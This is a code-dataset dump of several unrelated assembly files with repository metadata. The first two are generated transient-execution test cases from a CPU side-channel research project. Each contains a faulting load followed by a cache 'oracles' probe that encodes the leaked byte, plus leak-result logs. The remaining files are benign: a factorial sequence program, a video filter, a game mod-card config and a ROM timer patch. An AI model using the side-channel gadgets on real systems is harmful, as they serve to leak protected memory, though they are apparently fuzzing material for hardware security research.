2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1095.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x17fbb, %r13
nop
nop
nop
and $19455, %r11
vmovups (%r13), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
sub %r14, %r14
lea addresses_A_ht+0x1d8b, %r10
nop
nop
nop
nop
nop
and $39189, %r11
mov (%r10), %rcx
nop
nop
nop
nop
nop
and $28336, %r10
lea addresses_UC_ht+0x186bb, %r14
nop
inc %r11
movb $0x61, (%r14)
cmp %r10, %r10
lea addresses_D_ht+0xfed7, %rsi
lea addresses_WC_ht+0xaf61, %rdi
nop
nop
nop
dec %r9
mov $94, %rcx
rep movsq
sub $18355, %r10
lea addresses_WC_ht+0xd53b, %rdi
nop
nop
nop
nop
xor $62106, %rcx
mov $0x6162636465666768, %r14
movq %r14, (%rdi)
cmp $6543, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x53bb, %rsi
lea addresses_normal+0xc3bb, %rdi
nop
nop
nop
nop
xor $61545, %r8
mov $0, %rcx
rep movsw
nop
nop
xor %rcx, %rcx
// Store
lea addresses_A+0x165bb, %r11
clflush (%r11)
and $42052, %r13
movl $0x51525354, (%r11)
nop
nop
inc %r12
// Store
lea addresses_PSE+0x971b, %rcx
nop
nop
nop
sub $27957, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movups %xmm1, (%rcx)
nop
add $15866, %rcx
// Store
mov $0xbbb, %r13
nop
nop
nop
nop
add %r12, %r12
mov $0x5152535455565758, %r8
movq %r8, (%r13)
nop
nop
nop
add $32253, %rcx
// Store
lea addresses_US+0x392b, %rdi
nop
nop
add %r8, %r8
movb $0x51, (%rdi)
nop
dec %r12
// Store
lea addresses_RW+0xe629, %r12
nop
nop
and $12745, %r8
movl $0x51525354, (%r12)
nop
cmp $34176, %r13
// Store
lea addresses_normal+0x7111, %rcx
add %rdi, %rdi
movl $0x51525354, (%rcx)
nop
nop
xor $16438, %rsi
// Faulty Load
lea addresses_UC+0x53bb, %r13
nop
nop
and %r12, %r12
mov (%r13), %di
lea oracles, %r11
and $0xff, %rdi
shlq $12, %rdi
mov (%r11,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.132653
| 2,999
| 0.652483
|
174dd99b9a1aa594584f7dcc3ab34abde380122e
| 8,057
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1601.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1601.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1601.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x19f5e, %rsi
lea addresses_D_ht+0x5a9e, %rdi
nop
nop
nop
nop
and $15094, %rbp
mov $113, %rcx
rep movsb
nop
nop
nop
add $14691, %rdx
lea addresses_UC_ht+0x1287e, %rdx
nop
and %r9, %r9
movl $0x61626364, (%rdx)
nop
nop
nop
nop
nop
add $62000, %rbp
lea addresses_UC_ht+0x131e, %rsi
nop
nop
nop
nop
nop
cmp $20413, %r11
vmovups (%rsi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
inc %r11
lea addresses_normal_ht+0x1de3e, %rdi
nop
nop
and $64867, %rbp
movb $0x61, (%rdi)
nop
nop
and $62294, %r11
lea addresses_D_ht+0x1786a, %rdx
nop
dec %r9
mov (%rdx), %ecx
nop
add %r9, %r9
lea addresses_normal_ht+0xfc62, %rdi
nop
nop
nop
nop
xor $37378, %rdx
movb (%rdi), %cl
nop
nop
nop
nop
nop
and $29649, %rbp
lea addresses_D_ht+0x409e, %rdx
nop
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%rdx)
add $36094, %rsi
lea addresses_WC_ht+0x409e, %rsi
lea addresses_D_ht+0x1809e, %rdi
clflush (%rsi)
inc %rbx
mov $108, %rcx
rep movsl
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0xd09e, %rsi
nop
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
movups %xmm4, (%rsi)
nop
nop
xor $2100, %rcx
lea addresses_A_ht+0x1cd5e, %r11
clflush (%r11)
cmp %rbp, %rbp
mov (%r11), %r9w
nop
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x23ee, %rcx
inc %r11
movb $0x61, (%rcx)
nop
nop
and %rbx, %rbx
lea addresses_WC_ht+0x1513c, %rsi
lea addresses_WC_ht+0x12bae, %rdi
nop
nop
nop
nop
nop
sub $21984, %rbp
mov $87, %rcx
rep movsl
nop
nop
cmp $14517, %rdx
lea addresses_UC_ht+0x1b76a, %r9
nop
nop
nop
nop
nop
xor %rdi, %rdi
vmovups (%r9), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdx
nop
inc %rdi
lea addresses_UC_ht+0x1649e, %rsi
nop
nop
nop
sub %r11, %r11
vmovups (%rsi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0xc213, %rdx
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %rbx
movq %rbx, %xmm3
vmovups %ymm3, (%rdx)
nop
nop
nop
xor $51376, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rbp
push %rcx
push %rdi
// Store
lea addresses_WT+0xfe11, %r12
nop
nop
nop
cmp %rbp, %rbp
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%r12)
nop
nop
nop
inc %r13
// Faulty Load
lea addresses_A+0x1f89e, %r10
nop
sub %r8, %r8
movb (%r10), %cl
lea oracles, %r8
and $0xff, %rcx
shlq $12, %rcx
mov (%r8,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 33.020492
| 2,999
| 0.655455
|
9d41461df7907f8d99004b34336445e5e8bf43df
| 392
|
asm
|
Assembly
|
programs/oeis/261/A261193.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/261/A261193.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/261/A261193.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A261193: a(n) = n! - 2.
; -1,-1,0,4,22,118,718,5038,40318,362878,3628798,39916798,479001598,6227020798,87178291198,1307674367998,20922789887998,355687428095998,6402373705727998,121645100408831998,2432902008176639998,51090942171709439998,1124000727777607679998
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
sub $0,2
| 65.333333
| 235
| 0.785714
|
0ac62436f97dd178b1552c5805f754bc1dd03757
| 4,099
|
asm
|
Assembly
|
openfl-webm/0,0,4/project/libvpx-generic/vp8/common/arm/neon/bilinearpredict4x4_neon.asm
|
kudorado/HaxePlus
|
b312ad16420aa31731e55a1ac5f282cc46a557fc
|
[
"Apache-2.0"
] | 28
|
2017-04-20T06:21:26.000Z
|
2021-12-10T15:22:51.000Z
|
openfl-webm/0,0,4/project/libvpx-generic/vp8/common/arm/neon/bilinearpredict4x4_neon.asm
|
kudorado/HaxePlus
|
b312ad16420aa31731e55a1ac5f282cc46a557fc
|
[
"Apache-2.0"
] | 3
|
2017-04-05T00:41:45.000Z
|
2020-04-04T00:44:24.000Z
|
openfl-webm/0,0,4/project/libvpx-generic/vp8/common/arm/neon/bilinearpredict4x4_neon.asm
|
kudorado/HaxePlus
|
b312ad16420aa31731e55a1ac5f282cc46a557fc
|
[
"Apache-2.0"
] | 16
|
2015-01-08T01:47:24.000Z
|
2022-02-25T06:06:06.000Z
|
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_bilinear_predict4x4_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; r0 unsigned char *src_ptr,
; r1 int src_pixels_per_line,
; r2 int xoffset,
; r3 int yoffset,
; r4 unsigned char *dst_ptr,
; stack(lr) int dst_pitch
|vp8_bilinear_predict4x4_neon| PROC
push {r4, lr}
adr r12, bifilter4_coeff
ldr r4, [sp, #8] ;load parameters from stack
ldr lr, [sp, #12] ;load parameters from stack
cmp r2, #0 ;skip first_pass filter if xoffset=0
beq skip_firstpass_filter
;First pass: output_height lines x output_width columns (5x4)
vld1.u8 {d2}, [r0], r1 ;load src data
add r2, r12, r2, lsl #3 ;calculate Hfilter location (2coeffsx4bytes=8bytes)
vld1.u8 {d3}, [r0], r1
vld1.u32 {d31}, [r2] ;first_pass filter
vld1.u8 {d4}, [r0], r1
vdup.8 d0, d31[0] ;first_pass filter (d0-d1)
vld1.u8 {d5}, [r0], r1
vdup.8 d1, d31[4]
vld1.u8 {d6}, [r0], r1
vshr.u64 q4, q1, #8 ;construct src_ptr[1]
vshr.u64 q5, q2, #8
vshr.u64 d12, d6, #8
vzip.32 d2, d3 ;put 2-line data in 1 register (src_ptr[0])
vzip.32 d4, d5
vzip.32 d8, d9 ;put 2-line data in 1 register (src_ptr[1])
vzip.32 d10, d11
vmull.u8 q7, d2, d0 ;(src_ptr[0] * vp8_filter[0])
vmull.u8 q8, d4, d0
vmull.u8 q9, d6, d0
vmlal.u8 q7, d8, d1 ;(src_ptr[1] * vp8_filter[1])
vmlal.u8 q8, d10, d1
vmlal.u8 q9, d12, d1
vqrshrn.u16 d28, q7, #7 ;shift/round/saturate to u8
vqrshrn.u16 d29, q8, #7
vqrshrn.u16 d30, q9, #7
;Second pass: 4x4
secondpass_filter
cmp r3, #0 ;skip second_pass filter if yoffset=0
beq skip_secondpass_filter
add r3, r12, r3, lsl #3 ;calculate Vfilter location
vld1.u32 {d31}, [r3] ;load second_pass filter
vdup.8 d0, d31[0] ;second_pass filter parameters (d0-d5)
vdup.8 d1, d31[4]
vmull.u8 q1, d28, d0
vmull.u8 q2, d29, d0
vext.8 d26, d28, d29, #4 ;construct src_ptr[pixel_step]
vext.8 d27, d29, d30, #4
vmlal.u8 q1, d26, d1
vmlal.u8 q2, d27, d1
add r0, r4, lr
add r1, r0, lr
add r2, r1, lr
vqrshrn.u16 d2, q1, #7 ;shift/round/saturate to u8
vqrshrn.u16 d3, q2, #7
vst1.32 {d2[0]}, [r4] ;store result
vst1.32 {d2[1]}, [r0]
vst1.32 {d3[0]}, [r1]
vst1.32 {d3[1]}, [r2]
pop {r4, pc}
;--------------------
skip_firstpass_filter
vld1.32 {d28[0]}, [r0], r1 ;load src data
vld1.32 {d28[1]}, [r0], r1
vld1.32 {d29[0]}, [r0], r1
vld1.32 {d29[1]}, [r0], r1
vld1.32 {d30[0]}, [r0], r1
b secondpass_filter
;---------------------
skip_secondpass_filter
vst1.32 {d28[0]}, [r4], lr ;store result
vst1.32 {d28[1]}, [r4], lr
vst1.32 {d29[0]}, [r4], lr
vst1.32 {d29[1]}, [r4], lr
pop {r4, pc}
ENDP
;-----------------
bifilter4_coeff
DCD 128, 0, 112, 16, 96, 32, 80, 48, 64, 64, 48, 80, 32, 96, 16, 112
END
| 31.290076
| 95
| 0.491095
|
c2b696a42b3fab2fc27f2a43af9300a5e0960b97
| 715
|
asm
|
Assembly
|
cards/bn4/ModCards/134-D028 Charge WideSwrd (0E).asm
|
RockmanEXEZone/MMBN-Mod-Card-Kit
|
d591ddca5566dbb323dc19c11e69410fa4073d1b
|
[
"Unlicense"
] | 10
|
2017-12-05T14:25:38.000Z
|
2022-02-21T04:28:00.000Z
|
cards/bn4/ModCards/134-D028 Charge WideSwrd (0E).asm
|
RockmanEXEZone/MMBN-Mod-Card-Kit
|
d591ddca5566dbb323dc19c11e69410fa4073d1b
|
[
"Unlicense"
] | null | null | null |
cards/bn4/ModCards/134-D028 Charge WideSwrd (0E).asm
|
RockmanEXEZone/MMBN-Mod-Card-Kit
|
d591ddca5566dbb323dc19c11e69410fa4073d1b
|
[
"Unlicense"
] | null | null | null |
.include "defaults_mod.asm"
table_file_jp equ "exe4-utf8.tbl"
table_file_en equ "bn4-utf8.tbl"
game_code_len equ 3
game_code equ 0x4234574A // B4WJ
game_code_2 equ 0x42345745 // B4WE
game_code_3 equ 0x42345750 // B4WP
card_type equ 1
card_id equ 58
card_no equ "058"
card_sub equ "Mod Card 058"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "Address 0E"
card_desc_2 equ "Charge WideSwrd"
card_desc_3 equ ""
card_name_jp_full equ "チャージワイドソード"
card_name_jp_game equ "チャージワイドソード"
card_name_en_full equ "Charge WideSwrd"
card_name_en_game equ "Charge WideSwrd"
card_address equ "0E"
card_address_id equ 4
card_bug equ 0
card_wrote_en equ "Charge WideSwrd"
card_wrote_jp equ "チャージワイドソード"
| 26.481481
| 39
| 0.786014
|
9f0fdcad84088a290b3c9456160b0ecebcf2d145
| 603
|
asm
|
Assembly
|
asm/codes/normal/timer_centiseconds.asm
|
brikr/practice-rom-patcher
|
8e18d1713da24379fc92fdf084b2a1aa93c633ad
|
[
"MIT"
] | 2
|
2017-12-31T23:23:36.000Z
|
2018-02-01T19:24:44.000Z
|
asm/codes/normal/timer_centiseconds.asm
|
brikr/practice-rom-patcher
|
8e18d1713da24379fc92fdf084b2a1aa93c633ad
|
[
"MIT"
] | null | null | null |
asm/codes/normal/timer_centiseconds.asm
|
brikr/practice-rom-patcher
|
8e18d1713da24379fc92fdf084b2a1aa93c633ad
|
[
"MIT"
] | null | null | null |
// Centisecond
origin 0x09DAB8
base 0x802E2AB8
addiu at, r0, 0x0A
origin 0x09DAF0
base 0x802E2AF0
mult t9, at
mflo t1
addiu at, r0, 0x03
div t1, at
mflo t2
sh t2, 0x24 (sp)
origin 0x09DB50
base 0x802E2B50
addiu a2, a2, 0x71D4
// Move Timer Slightly Left
origin 0x09DB12
base 0x802E2B12
dh 0x009E // Time Text X
origin 0x09DB26
base 0x802E2B26
dh 0x00D9 // Minutes X
origin 0x09DB3E
base 0x802E2B3E
dh 0x00ED // Seconds X
origin 0x09DB56
base 0x802E2B56
dh 0x010F // Tenths X
origin 0x09DB9E
base 0x802E2B9E
dh 0x00E3 // ' Separator X
origin 0x09DBB2
base 0x802E2BB2
dh 0x0106 // " Separator X
| 13.4
| 27
| 0.766169
|
66a109db2d572a0458a79d18cd246ab9e3535bad
| 7,611
|
asm
|
Assembly
|
src/isa/avx2/masm/vrda_exp_fma3.asm
|
jepler/aocl-libm-ose
|
4033e022da428125747e118ccd6fdd9cee21c470
|
[
"BSD-3-Clause"
] | 66
|
2020-11-04T17:06:10.000Z
|
2022-03-10T08:03:12.000Z
|
